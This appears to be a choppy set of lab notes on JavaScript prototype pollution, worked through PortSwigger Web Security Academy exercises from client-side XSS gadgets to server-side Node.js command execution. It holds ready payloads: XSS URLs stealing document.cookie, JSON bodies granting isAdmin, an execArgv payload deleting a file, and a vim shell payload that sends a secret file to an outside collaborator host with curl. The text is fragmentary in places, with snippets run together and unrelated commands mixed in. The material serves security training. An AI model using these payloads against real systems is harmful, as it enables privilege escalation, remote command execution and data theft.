Hack. Eat. Sleep. Repeat!!!
key:value pair known as properties.e.gconst user = {name: "Andrew",age: 15,role: "admin"};
user.name //Andrew
user['name'] //Andrew
const user = {name: "Andrew",age: 15,role: "admin",isAdmin: function() {if (this.role === 'admin'){ return true; } else {return false;}}};
let myString = "";
Object.getPrototypeOf(myString); //String
__proto__let username = "sensei";
username.__proto__; //String.prototype
username.__proto__.__proto__; //Objeect.prototype
username.__proto__.__proto__.__proto__; //null
Object.prototype.https://loclahost:5000/?__proto__[evilSink]=payload
{__proto__:{evilSink: 'payload' } }
targetObject.__proto__.evilSink = payload;
In practice, injecting a property called evilProperty is unlikely to have any effect. However, an attacker can use the same technique to pollute the prototype with properties that are used by the application, or any imported libraries.
{
"__proto__": {
"evilProperty": "payload"
}
}
objectLiteral.hasOwnProperty(âprotoâ); // false objectFromJson.hasOwnProperty(âprotoâ); // true ```
let transport_url = config.transport_url || defaults.transport_url;
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
https://0a94002a0497549a803b037c00ac00cc.web-security-academy.net/?__proto__[transport_url]=data:,alert(1);//
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
var deparam = function( params, coerce ) {
var obj = {},
coerce_types = { 'true': !0, 'false': !1, 'null': null };
if (!params) {
return obj;
}
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) && ((+val + '') === val) ? +val // number
: val === 'undefined' ? undefined // undefined
: coerce_types[val] !== undefined ? coerce_types[val] // true, false, null
: val; // string
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( {}.hasOwnProperty.call(obj, key) ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
https://0a5b009003c8944f805d03a9008e00c1.web-security-academy.net/?__proto__.sequence=%27z%27);alert(1)}%20//
__proto__[sequence]=payload
__proto__.sequence=payload
// Add an URL parser to JQuery that returns an object
// This function is meant to be used with an URL like the window.location
// Use: $.parseParams('http://mysite.com/?var=string') or $.parseParams() to parse the window.location
// Simple variable: ?var=abc returns {var: "abc"}
// Simple object: ?var.length=2&var.scope=123 returns {var: {length: "2", scope: "123"}}
// Simple array: ?var[]=0&var[]=9 returns {var: ["0", "9"]}
// Array with index: ?var[0]=0&var[1]=9 returns {var: ["0", "9"]}
// Nested objects: ?my.var.is.here=5 returns {my: {var: {is: {here: "5"}}}}
// All together: ?var=a&my.var[]=b&my.cookie=no returns {var: "a", my: {var: ["b"], cookie: "no"}}
// You just cant have an object in an array, ?var[1].test=abc DOES NOT WORK
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
__prot__proto__o__.Url-:https://0a97007804f29e4e818f84e7005d005f.web-security-academy.net/?__pro__proto__to__[transport_url]=data:,alert(1);//
__proto__ is constructor.prototype.myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
<meta name="referrer" content="never">
<script>
location="https://0a62000303cbd84f8051f313000400dd.web-security-academy.net/chat?constructor[prototype][hitCallback]=alert(document.cookie)&constructor.prototype.hitCallback=alert(document.cookie)&__proto__.hitCallback=alert(document.cookie)&__proto__[hitCallback]=alert(document.cookie)&constrconstructoructor[prototype][hitCallback]=alert(document.cookie)&constrconstructoructor.prototype.hitCallback=alert(document.cookie)&__pro__proto__to__.hitCallback=alert(document.cookie)&__pro__proto__to__[hitCallback]=alert(document.cookie)#constructor[prototype][hitCallback]=alert(document.cookie)&constructor.prototype.hitCallback=alert(document.cookie)&__proto__.hitCallback=alert(document.cookie)&__proto__[hitCallback]=alert(document.cookie)&constrconstructoructor[prototype][hitCallback]=alert(document.cookie)&constrconstructoructor.prototype.hitCallback=alert(document.cookie)&__pro__proto__to__.hitCallback=alert(document.cookie)&__pro__proto__to__[hitCallback]=alert(document.cookie)"
</script>
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
fetch()-: The Fetch API provides a simple way for developers to trigger HTTP requests using JavaScript. The fetch() method accepts two arguments:The URL to which you want to send the request.An options object that lets you to control parts of the request, such as the method, headers, body parameters, and so on.POST request-:fetch('https://normal-website.com/my-account/change-email', {
method: 'POST',
body: 'user=carlos&email=carlos%40ginandjuice.shop'
})
fetch('/my-products.json',{method:"GET"})
.then((response) => response.json())
.then((data) => {
let username = data['x-username'];
let message = document.querySelector('.message');
if(username) {
message.innerHTML = `My products. Logged in as <b>${username}</b>`;
}
let productList = document.querySelector('ul.products');
for(let product of data) {
let product = document.createElement('li');
product.append(product.name);
productList.append(product);
}
})
.catch(console.error);
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
Object.defineProperty()Object.defineProperty(vulnerableObject, 'gadgetProperty', {
configurable: false,
writable: false
})
This may initially seem like a reasonable mitigation attempt as this prevents the vulnerable object from inheriting a malicious version of the gadget property via the prototype chain. However, this approach is inherently flawed.Just like the fetch() method we looked at earlier, Object.defineProperty() accepts an options object, known as a âdescriptorâ. You can see this in the example above. Among other things, developers can use this descriptor object to set an initial value for the property thatâs being defined. However, if the only reason that theyâre defining this property is to protect against prototype pollution, they might not bother setting a value at all.In this case, an attacker may be able to bypass this defense by polluting Object.prototype with a malicious value property. If this is inherited by the descriptor object passed to Object.defineProperty(), the attacker-controlled value may be assigned to the gadget property after all.
https://0a0800be0322ce61805912f8004f00fe.web-security-academy.net/?__proto__[value]=data:,alert(1);//
Object.defineProperty() works.It takes in argument descriptor which is an object requiring values passed into keys value,configurable and writable.Value allows us to set the defined value of an objectâs property.If not set, it can lead to prototype pollution and allow an attacker set value at Object.prototype.Gadget-:Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); //value key is not set
Detecting server-side prototype pollution via polluted property reflection
An easy trap for developers to fall into is forgetting or overlooking the fact that a JavaScript forâŚin loop iterates over all of an objectâs enumerable properties, including ones that it has inherited via the prototype chain.E.g
POST /my-account/change-address HTTP/2
Host: 0a80008a04aab2458188702000950037.web-security-academy.net
Cookie: session=RpBd2708AlwcHGnQTiusLdpPJW5z02B1
Content-Length: 168
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="140", "Not=A?Brand";v="24", "Brave";v="140"
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.8
Origin: https://0a80008a04aab2458188702000950037.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a80008a04aab2458188702000950037.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RpBd2708AlwcHGnQTiusLdpPJW5z02B1","__proto__":{"isAdmin":true}}
wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz
tar -xvf libiconv-1.11.tar.gz
cd libiconv-1.11
./configure --prefix=/usr/local/iconv
Status code override
JSON spaces override
Charset override
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
function createError () {
//...
if (type === 'object' && arg instanceof Error) {
err = arg
status = err.status || err.statusCode || status
} else if (type === 'number' && i === 0) {
//...
if (typeof status !== 'number' ||
(!statuses.message[status] && (status < 400 || status >= 600))) {
status = 500
}
//...
status and statusCode from object err and if it is not explicitly stated by the developer.The properties can be polluted.Try polluting the prototype with your own status property. Be sure to use an obscure status code that is unlikely to be issued for any other reason. status = err.status || err.statusCode || status
json spaces option, which enables you to configure the number of spaces used to indent any JSON data in the response. In many cases, developers leave this property undefined as theyâre happy with the default value, making it susceptible to pollution via the prototype chain.If youâve got access to any kind of JSON response, you can try polluting the prototype with your own json spaces property, then reissue the relevant request to see if the indentation in the JSON increases accordingly. You can perform the same steps to remove the indentation in order to confirm the vulnerability.This is an especially useful technique because it doesnât rely on a specific property being reflected. Itâs also extremely safe as youâre effectively able to turn the pollution on and off simply by resetting the property to the same value as the default.Although the prototype pollution has been fixed in Express 4.17.4, websites that havenât upgraded may still be vulnerable.Always set the reponse tab to raw to identify it
body-parser that preprocess request sbefore theyâre passed to the appropriate handler function. For example, the body-parser module is commonly used to parse the body of incoming requests in order to generate a req.body object. This contains another gadget that you can use to probe for server-side prototype pollution.Notice that the following code passes an options object into the read() function, which is used to read in the request body for parsing. One of these options, encoding, determines which character encoding to use. This is either derived from the request itself via the getCharset(req) function call, or it defaults to UTF-8.var charset = getCharset(req) or 'utf-8'
function getCharset (req) {
try {
return (contentType.parse(req).parameters.charset || '').toLowerCase()
} catch (e) {
return undefined
}
}
read(req, res, next, parse, debug, {
encoding: charset,
inflate: inflate,
limit: limit,
verify: verify
})
charset attribute will be possible through content-type properties{
"sessionId":"0123456789",
"username":"wiener",
"role":"default",
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
}
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
// ...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
If it does, the header being processed is effectively dropped. Due to the way this is implemented, this check (presumably unintentionally) includes properties inherited via the prototype chain. This means that if we pollute the prototype with our own content-type property, the property representing the real Content-Type header from the request is dropped at this point, along with the intended value derived from the header.
json spaces-:{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "in1gBgf219ibnRiQgX2TWBVjrK808olK",
"__proto__": {
"json spaces": 3
}
}
content-type{
"address_line_1": "+AEgAZQBsAGwAbwAgACgAIABXAG8AcgBsAGQAIQAg5L2g5aW9ACAA8J+Mjw-",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "ZH3bo0oZfag2nB6Una1u5xNt4qtS9bEo",
"_proto__": {
"content-type": "application/json;charset=UTF-7"
}
}
__pro__proto__to__
consconstructortructor.proprototypetotype
constructor.prototype{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "aXi5nNBtlbVU0fVoKld6V7B4lVfH0jpO",
"constructor": {
"prototype": {
"isAdmin": true
}
}
}
child_process module which can be detected with Burp collaborator.The NODE_OPTIONS environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env object, you can potentially control this via prototype pollution if it is undefined.Some of Nodeâs functions for creating new child processes accept an optional shell property, which enables developers to set a specific shell, such as bash, in which to run commands. By combining this with a malicious NODE_OPTIONS property, you can pollute the prototype in a way that causes an interaction with Burp Collaborator whenever a new Node process is created:{
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
}
child_process.fork() and child_process.spawn()-:"execArgv": [
"--eval=require('<module>')"
]
child_process.spawn(){
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "9hBiJF55gLMXiljYtkhTWhYIpTRFl4VQ",
"constructor": {
"prototype": {
"execArgv": [
"--eval=require(node:child_process).spawn(rm,[/home/carlos/morale.txt])"
]
}
}
}
fork() which accepts the execArgv, execSync accepts the options argument which can be polluted.Imageâs sauce is from the documentationAlthough this doesnât accept an execArgv property, you can still inject system commands into a running child process by simultaneously polluting both the shell and input properties-:
By polluting both of these properties, you may be able to override the command that the applicationâs developers intended to execute and instead run a malicious command in a shell of your choosing.Although there are exceptions-:
As the input property containing your payload is passed via stdin, the shell you choose must accept commands from stdin.
"shell":"vim",
"input":":! <command>\n"
{
"constructor": {
"prototype": {
"shell": "vim",
"input": ":! sh -c cat /home/carlos/secret | curl z993grzca1i7deezwsccp9qvcmid6gu5.oastify.com/ -d @- \n"
}
}
}